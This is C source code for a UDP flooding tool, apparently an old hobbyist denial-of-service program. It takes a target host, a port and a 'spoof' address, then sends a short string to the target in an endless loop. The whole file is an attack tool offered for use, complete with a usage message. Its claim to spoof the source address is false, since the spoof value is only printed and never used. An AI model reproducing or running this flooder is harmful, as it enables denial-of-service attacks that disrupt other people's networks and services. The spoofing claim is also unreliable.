#define Vadim_STRING "0123456789"                    
#define Vadim_SIZE 10                            
#define REGESTERED "#Yellow"                   


#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>

char *spoof;  
int echo_connect(char *, short);       


void banner()
{
   printf("\nflooding by noname  =)\n");
   printf("Registered to: %s\n", REGESTERED);
   printf("--------------------------------\n");
}

int echo_connect(char *server, short port)
{
   struct sockaddr_in sin;
   struct hostent *hp;                 
   int thesock;                        


   banner();
   printf("Slashing your angry NoName at %s, port %d spoofed as %s\n", server, port, spoof);


   hp = gethostbyname(server);
   if (hp==NULL) {
      printf("Unknown host: %s\n",server);
      exit(0);
   }



   bzero((char*) &sin, sizeof(sin));
   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
   sin.sin_family = hp->h_addrtype;


   sin.sin_port = htons(port);
   thesock = socket(AF_INET, SOCK_DGRAM, 0);
   connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
   return thesock;
}


main(int argc, char **argv)
{
   int s;
   if(argc != 4)
   {
      banner();
      printf("Syntax: %s <host> <port> <spoof>\n", argv[0]);
      printf("<host>    : either hostname or IP address.\n");
      printf("<port>    : any open UDP port number.\n");
      printf("<spoof>   : any real, unused ip.\n\n");
      exit(0);
   }

   setuid(getuid());  

   spoof = argv[3];               

   s=echo_connect(argv[1], atoi(argv[2]));        
   for(;;)
   {
      send(s, Vadim_STRING, Vadim_SIZE, 0);         
   }
}





